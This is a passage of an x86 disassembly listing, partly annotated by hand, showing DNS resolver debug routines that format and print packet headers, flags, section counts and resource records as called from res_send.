loc_0_805F14C:				; CODE XREF: sub_0_805EFB0+20j
					; sub_0_805EFB0+16Bj ...
		mov	eax, ebx

loc_0_805F14E:				; CODE XREF: sub_0_805EFB0+18Ej
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805EFB0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	offset unk_0_8078750
		push	eax
		call	sub_0_805F670
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+8]
		mov	esi, [ebp+0Ch]
		call	fprintf(esi,';; res options')  
		test	edi, edi
		jnz	short loc_0_805F193
		mov	edi, offset dword_0_8078544

loc_0_805F193:				; CODE XREF: .text:0805F18Cj
		mov	ebx, 1

loc_0_805F198:				; CODE XREF: .text:0805F1B4j
		test	[edi+8], ebx
		jz	short loc_0_805F1B2
		push	ebx
		call	sub_0_8060630
		call	fprintf(esi,' %s',eax)

loc_0_805F1B2:				; CODE XREF: .text:0805F19Bj
		add	ebx, ebx
		jnz	short loc_0_805F198
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_0_805F1C8
		push	0Ah
		push	esi
		call	sub_0_8061910
		jmp	short loc_0_805F1D1
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805F1C8:				; CODE XREF: .text:0805F1BCj
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [esi+14h]

loc_0_805F1D1:				; CODE XREF: .text:0805F1C6j
		lea	esp, [ebp-0Ch]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805F1DC	proc near		; CODE XREF: res_send()+63p
					; res_send()+893p ...

var_114		= byte ptr -114h
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_8]
		test	byte ptr dword_0_807854C, 1
		jnz	short loc_0_805F202
		call	sub_0_804D744
		cmp	eax, 0FFFFFFFFh
		jz	loc_0_805F663

loc_0_805F202:				; CODE XREF: sub_0_805F1DC+16j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_108], edx
		mov	ebx, edx
		add	ebx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ebx
		mov	[ebp+var_104], edx
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F236
		test	byte ptr dword_0_80786A4+1, 8
		jnz	short loc_0_805F236
		mov	edx, [ebp+arg_0]
		test	byte ptr [edx+3], 0Fh
		jz	short loc_0_805F295

loc_0_805F236:				; CODE XREF: sub_0_805F1DC+46j
					; sub_0_805F1DC+4Fj
		mov	edx, [ebp+var_108]
		mov	ax, [edx]
		xchg	al, ah
		and	eax, 0FFFFh
		push	eax
		mov	al, [edx+3]
		and	eax, 0Fh
		mov	eax, dword_0_8078FEC[eax*4]
		push	eax
		mov	al, [edx+2]
		shr	al, 3
		and	eax, 0Fh
		call	fprintf(esi,';  ->>HEADER<<- opcode:	 %s, status:	 %s',dword_0_8078fac[eax*4],...) 
		add	esp, 14h
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_0_805F28C
		push	0Ah
		push	esi
		call	sub_0_8061910
		add	esp, 8
		jmp	short loc_0_805F295
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805F28C:				; CODE XREF: sub_0_805F1DC+9Ej
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [esi+14h]

loc_0_805F295:				; CODE XREF: sub_0_805F1DC+58j
					; sub_0_805F1DC+ABj
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F2A7
		test	byte ptr dword_0_80786A4+1, 8
		jz	short loc_0_805F2C5

loc_0_805F2A7:				; CODE XREF: sub_0_805F1DC+C0j
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_0_805F2BC
		push	3Bh
		push	esi
		call	sub_0_8061910
		add	esp, 8
		jmp	short loc_0_805F2C5
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805F2BC:				; CODE XREF: sub_0_805F1DC+D1j
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	3Bh
		inc	dword ptr [esi+14h]

loc_0_805F2C5:				; CODE XREF: sub_0_805F1DC+C9j
					; sub_0_805F1DC+DEj
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F2DB
		test	byte ptr dword_0_80786A4+1, 2
		jz	loc_0_805F36B

loc_0_805F2DB:				; CODE XREF: sub_0_805F1DC+F0j
		call	fprintf(esi,'; flags:')  
		mov	edx, [ebp+var_108]
		cmp	byte ptr [edx+2], 0
		jge	short loc_0_805F303
		call	fprintf(esi,' qr')

loc_0_805F303:				; CODE XREF: sub_0_805F1DC+117j
		mov	edx, [ebp+var_108]
		test	byte ptr [edx+2], 4
		jz	short loc_0_805F31D
		call	fprintf(esi,' aa')

loc_0_805F31D:				; CODE XREF: sub_0_805F1DC+131j
		mov	edx, [ebp+var_108]
		test	byte ptr [edx+2], 2
		jz	short loc_0_805F337
		call	fprintf(esi,' tc')

loc_0_805F337:				; CODE XREF: sub_0_805F1DC+14Bj
		mov	edx, [ebp+var_108]
		test	byte ptr [edx+2], 1
		jz	short loc_0_805F351
		call	fprintf(esi,' rd')

loc_0_805F351:				; CODE XREF: sub_0_805F1DC+165j
		mov	edx, [ebp+var_108]
		cmp	byte ptr [edx+3], 0
		jge	short loc_0_805F36B
		call	fprintf(esi,' ra')

loc_0_805F36B:				; CODE XREF: sub_0_805F1DC+F9j
					; sub_0_805F1DC+17Fj
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F381
		test	byte ptr dword_0_80786A4+1, 1
		jz	loc_0_805F401

loc_0_805F381:				; CODE XREF: sub_0_805F1DC+196j
		mov	edx, [ebp+var_108]
		mov	ax, [edx+4]
		xchg	al, ah
		and	eax, 0FFFFh
		call	fprintf(esi,'; Ques: %d',eax)
		mov	edx, [ebp+var_108]
		mov	ax, [edx+6]
		xchg	al, ah
		and	eax, 0FFFFh
		call	fprintf(esi,', Ans: %d',eax)
		mov	edx, [ebp+var_108]
		mov	ax, [edx+8]
		xchg	al, ah
		and	eax, 0FFFFh
		call	fprintf(esi,', Auth: %d',eax)
		mov	edx, [ebp+var_108]
		mov	ax, [edx+0Ah]
		xchg	al, ah
		and	eax, 0FFFFh
		call	fprintf(esi,', Addit: %d',eax)

loc_0_805F401:				; CODE XREF: sub_0_805F1DC+19Fj
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F413
		test	byte ptr dword_0_80786A4+1, 0Bh
		jz	short loc_0_805F431

loc_0_805F413:				; CODE XREF: sub_0_805F1DC+22Cj
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_0_805F428
		push	0Ah
		push	esi
		call	sub_0_8061910
		add	esp, 8
		jmp	short loc_0_805F431
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805F428:				; CODE XREF: sub_0_805F1DC+23Dj
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [esi+14h]

loc_0_805F431:				; CODE XREF: sub_0_805F1DC+235j
					; sub_0_805F1DC+24Aj
		mov	edx, [ebp+var_108]
		mov	ax, [edx+4]
		xchg	al, ah
		movzx	edi, ax
		test	edi, edi
		jz	loc_0_805F5B0
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F45A
		test	byte ptr dword_0_80786A4, 10h
		jz	short loc_0_805F468

loc_0_805F45A:				; CODE XREF: sub_0_805F1DC+273j
		call	fprintf(esi,';  QUESTIONS:\n')  

loc_0_805F468:				; CODE XREF: sub_0_805F1DC+27Cj
		dec	edi
		js	loc_0_805F5B0
		nop	

loc_0_805F470:				; CODE XREF: sub_0_805F1DC+3CEj
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F482
		test	byte ptr dword_0_80786A4, 10h
		jz	short loc_0_805F490

loc_0_805F482:				; CODE XREF: sub_0_805F1DC+29Bj
		call	fprintf(esi,';;\t') 

loc_0_805F490:				; CODE XREF: sub_0_805F1DC+2A4j
		cmp	[ebp+var_104], ebx
		jbe	loc_0_805F650
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F4AE
		test	byte ptr dword_0_80786A4, 10h
		jz	short loc_0_805F4C4

loc_0_805F4AE:				; CODE XREF: sub_0_805F1DC+2C7j
		push	esi
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		push	ebx
		call	sub_0_805F68C
		mov	ebx, eax
		add	esp, 10h
		jmp	short loc_0_805F4EE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805F4C4:				; CODE XREF: sub_0_805F1DC+2D0j
		push	100h
		lea	eax, [ebp+var_100]
		push	eax
		push	ebx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_0_804D02C
		add	esp, 14h
		test	eax, eax
		jl	loc_0_805F658
		add	ebx, eax

loc_0_805F4EE:				; CODE XREF: sub_0_805F1DC+2E6j
		test	ebx, ebx
		jz	loc_0_805F658
		cmp	[ebp+var_104], ebx
		jbe	loc_0_805F650
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F514
		test	byte ptr dword_0_80786A4, 10h
		jz	short loc_0_805F534

loc_0_805F514:				; CODE XREF: sub_0_805F1DC+32Dj
		push	ebx
		call	sub_0_804D6B8
		and	eax, 0FFFFh
		push	eax
		call	sub_0_8060004
		call	fprintf(esi,', type = %s',eax)
		add	esp, 14h

loc_0_805F534:				; CODE XREF: sub_0_805F1DC+336j
		add	ebx, 2
		cmp	[ebp+var_104], ebx
		jbe	loc_0_805F650
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F555
		test	byte ptr dword_0_80786A4, 10h
		jz	short loc_0_805F575

loc_0_805F555:				; CODE XREF: sub_0_805F1DC+36Ej
		push	ebx
		call	sub_0_804D6B8
		and	eax, 0FFFFh
		push	eax
		call	sub_0_80605D0
		call	fprintf(esi,', class = %s\n',eax)
		add	esp, 14h

loc_0_805F575:				; CODE XREF: sub_0_805F1DC+377j
		add	ebx, 2
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F58A
		test	byte ptr dword_0_80786A4, 10h
		jz	short loc_0_805F5A9

loc_0_805F58A:				; CODE XREF: sub_0_805F1DC+3A3j
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_0_805F5A0
		push	0Ah
		push	esi
		call	sub_0_8061910
		add	esp, 8
		jmp	short loc_0_805F5A9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805F5A0:				; CODE XREF: sub_0_805F1DC+3B4j
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [esi+14h]

loc_0_805F5A9:				; CODE XREF: sub_0_805F1DC+3ACj
					; sub_0_805F1DC+3C1j
		dec	edi
		jns	loc_0_805F470

loc_0_805F5B0:				; CODE XREF: sub_0_805F1DC+266j
					; sub_0_805F1DC+28Dj
		cmp	[ebp+var_104], ebx
		jbe	loc_0_805F650
		push	offset aAnswers	; ";; ANSWERS:\n"
		push	esi
		push	20h
		mov	edx, [ebp+var_108]
		movzx	eax, word ptr [edx+6]
		push	eax
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_0_805EFB0
		mov	ebx, eax
		add	esp, 1Ch
		test	ebx, ebx
		jz	short loc_0_805F658
		cmp	[ebp+var_104], ebx
		jbe	short loc_0_805F650
		push	offset aAuthorityRecor ; ";; AUTHORITY RECORDS:\n"
		push	esi
		push	40h
		mov	edx, [ebp+var_108]
		movzx	eax, word ptr [edx+8]
		push	eax
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_0_805EFB0
		mov	ebx, eax
		add	esp, 1Ch
		test	ebx, ebx
		jz	short loc_0_805F658
		cmp	[ebp+var_104], ebx
		jbe	short loc_0_805F650
		push	offset aAdditionalReco ; ";; ADDITIONAL	RECORDS:\n"
		push	esi
		push	80h
		mov	edx, [ebp+var_108]
		movzx	eax, word ptr [edx+0Ah]
		push	eax
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_0_805EFB0
		mov	ebx, eax
		add	esp, 1Ch
		test	ebx, ebx
		jz	short loc_0_805F658
		jmp	short loc_0_805F663
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805F650:				; CODE XREF: sub_0_805F1DC+2BAj
					; sub_0_805F1DC+320j ...
		push	offset a___truncated ; "\n;; ...truncated\n"
		jmp	short loc_0_805F65D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805F658:				; CODE XREF: sub_0_805F1DC+30Aj
					; sub_0_805F1DC+314j ...
		push	offset a___malformed ; "\n;; ...malformed\n"

loc_0_805F65D:				; CODE XREF: sub_0_805F1DC+479j
		call	fprintf(esi,...)

loc_0_805F663:				; CODE XREF: sub_0_805F1DC+20j
					; sub_0_805F1DC+471j
		lea	esp, [ebp+var_114]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805F1DC	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805F670	proc near		; CODE XREF: .text:0805F164p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	200h
		push	edx
		call	sub_0_805F1DC
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805F670	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805F68C	proc near		; CODE XREF: sub_0_805F1DC+2DCp
					; .text:0805F724p

var_10C		= byte ptr -10Ch
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebp+arg_C]
		push	100h
		lea	edx, [ebp+var_100]
		push	edx
		push	edi
		mov	edx, eax
		add	edx, [ebp+arg_8]
		push	edx
		push	eax
		call	sub_0_804D02C
		mov	esi, eax
		add	esp, 14h
		test	esi, esi
		jge	short loc_0_805F6C8
		xor	eax, eax
		jmp	short loc_0_805F700
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805F6C8:				; CODE XREF: sub_0_805F68C+35j
		cmp	[ebp+var_100], 0
		jnz	short loc_0_805F6F0
		mov	eax, [ebx+14h]
		cmp	[ebx+18h], eax
		ja	short loc_0_805F6E4
		push	2Eh
		push	ebx
		call	sub_0_8061910
		jmp	short loc_0_805F6FD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805F6E4:				; CODE XREF: sub_0_805F68C+4Bj
		mov	eax, [ebx+14h]
		mov	byte ptr [eax],	2Eh
		inc	dword ptr [ebx+14h]
		jmp	short loc_0_805F6FD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805F6F0:				; CODE XREF: sub_0_805F68C+43j
		push	ebx
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_0_80624D0

loc_0_805F6FD:				; CODE XREF: sub_0_805F68C+55j
					; sub_0_805F68C+61j
		lea	eax, [esi+edi]

loc_0_805F700:				; CODE XREF: sub_0_805F68C+39j
		lea	esp, [ebp+var_10C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805F68C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp+10h]
		push	eax
		push	200h
		push	edx
		push	ecx
		call	sub_0_805F68C
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805F730	proc near		; CODE XREF: sub_0_805F7E4+3Ap
					; sub_0_805F7E4+3C7p ...

var_110		= byte ptr -110h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		push	100h
		lea	edx, [ebp+var_100]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0FFh
		push	edx
		push	eax
		call	sub_0_804D02C
		mov	[ebp+var_104], eax
		add	esp, 14h
		test	eax, eax
		jge	short loc_0_805F774
		xor	eax, eax
		jmp	short loc_0_805F7D6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805F774:				; CODE XREF: sub_0_805F730+3Dj
		cmp	[ebp+var_100], 0
		jnz	short loc_0_805F788
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		jbe	short loc_0_805F7BA
		jmp	short loc_0_805F7C4
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805F788:				; CODE XREF: sub_0_805F730+4Bj
		push	esi
		lea	ebx, [ebp+var_100]
		push	ebx
		call	sub_0_80624D0
		mov	eax, strlen(ebx)+1
		add	esp, 8
		cmp	byte ptr [ebp+eax+var_104+2], 2Eh
		jz	short loc_0_805F7CD
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_0_805F7C4

loc_0_805F7BA:				; CODE XREF: sub_0_805F730+53j
		push	2Eh
		push	esi
		call	sub_0_8061910
		jmp	short loc_0_805F7CD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805F7C4:				; CODE XREF: sub_0_805F730+55j
					; sub_0_805F730+88j
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	2Eh
		inc	dword ptr [esi+14h]

loc_0_805F7CD:				; CODE XREF: sub_0_805F730+80j
					; sub_0_805F730+92j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_104]

loc_0_805F7D6:				; CODE XREF: sub_0_805F730+41j
		lea	esp, [ebp+var_110]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805F730	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805F7E4	proc near		; CODE XREF: sub_0_805EFB0+76p
					; sub_0_805EFB0+CEp ...

var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		test	byte ptr dword_0_807854C, 1
		jnz	short loc_0_805F818
		call	sub_0_804D744
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_0_805F818
		mov	ds:dword_0_807E788, 0FFFFFFFFh

loc_0_805F810:				; CODE XREF: sub_0_805F7E4+46j
					; sub_0_805F7E4+3D3j ...
		xor	eax, eax
		jmp	loc_0_805FFF7
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805F818:				; CODE XREF: sub_0_805F7E4+16j
					; sub_0_805F7E4+20j
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_0_805F730
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jz	short loc_0_805F810
		push	esi
		call	sub_0_804D6B8
		and	eax, 0FFFFh
		mov	[ebp+var_8], eax
		add	esi, 2
		push	esi
		call	sub_0_804D6B8
		movzx	ebx, ax
		add	esi, 2
		push	esi
		call	sub_0_804D6D4
		mov	[ebp+var_1C], eax
		add	esi, 4
		push	esi
		call	sub_0_804D6B8
		and	eax, 0FFFFh
		mov	[ebp+var_C], eax
		add	esi, 2
		mov	[ebp+var_14], esi
		add	esp, 10h
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F87E
		test	byte ptr dword_0_80786A4+1, 4
		jz	short loc_0_805F890

loc_0_805F87E:				; CODE XREF: sub_0_805F7E4+8Fj
		call	fprintf(edi,'\t%lu',var_1c)

loc_0_805F890:				; CODE XREF: sub_0_805F7E4+98j
		cmp	dword_0_80786A4, 0
		jz	short loc_0_805F8A2
		test	byte ptr dword_0_80786A4, 4
		jz	short loc_0_805F8B7

loc_0_805F8A2:				; CODE XREF: sub_0_805F7E4+B3j
		push	ebx
		call	sub_0_80605D0
		call	fprintf(edi,'\t%s',eax)
		add	esp, 10h

loc_0_805F8B7:				; CODE XREF: sub_0_805F7E4+BCj
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_0_8060004
		call	fprintf(edi,'\t%s',eax)
		add	esp, 10h
		mov	eax, [ebp+var_8]
		dec	eax
		cmp	eax, 65h	; switch 102 cases 
		ja	loc_0_805FFA4	; default
		jmp	ds:off_0_805F8E4[eax*4]	; switch jump
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
off_0_805F8E4	dd offset loc_0_805FA7C, offset	loc_0_805FB00, offset loc_0_805FFA4
					; DATA XREF: sub_0_805F7E4+F8r
		dd offset loc_0_805FFA4, offset	loc_0_805FB00, offset loc_0_805FB84 ; jump table for switch statement
		dd offset loc_0_805FB00, offset	loc_0_805FB00, offset loc_0_805FB00
		dd offset loc_0_805FFA4, offset	loc_0_805FEC0, offset loc_0_805FB00
		dd offset loc_0_805FB1C, offset	loc_0_805FDEC, offset loc_0_805FCA0
		dd offset loc_0_805FD14, offset	loc_0_805FDEC, offset loc_0_805FCA0
		dd offset loc_0_805FD14, offset	loc_0_805FB1C, offset loc_0_805FCA0
		dd offset loc_0_805FDC8, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FCD0, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FFA4, offset	loc_0_805FFA4, offset loc_0_805FFA4
		dd offset loc_0_805FE64, offset	loc_0_805FE98, offset loc_0_805FE98
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805FA7C:				; CODE XREF: sub_0_805F7E4+F8j
					; DATA XREF: sub_0_805F7E4+100o
		cmp	ebx, 1		; case 0
		jz	short loc_0_805FA86
		cmp	ebx, 4
		jnz	short loc_0_805FAF8

loc_0_805FA86:				; CODE XREF: sub_0_805F7E4+29Bj
		call	memmove2(esi,var_4,4)
		cmp	[ebp+var_C], 4
		jnz	short loc_0_805FAB0
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_0_805E984
		push	eax
		push	offset aS_1	; "\t%s"
		jmp	loc_0_805FEAE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FAB0:				; CODE XREF: sub_0_805F7E4+2B5j
		cmp	[ebp+var_C], 7
		jnz	loc_0_805FFB9
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_0_805E984
		mov	[ebp+var_24], eax
		add	esi, 4
		mov	bl, [esi]
		inc	esi
		push	esi
		call	sub_0_804D6B8
		add	esi, 2
		call	fprintf(edi,'\t%s\t; proto %d, port %d',var_24,bl,ax) 
		jmp	loc_0_805FFB9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805FAF8:				; CODE XREF: sub_0_805F7E4+2A0j
		add	esi, [ebp+var_C]
		jmp	loc_0_805FFB9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

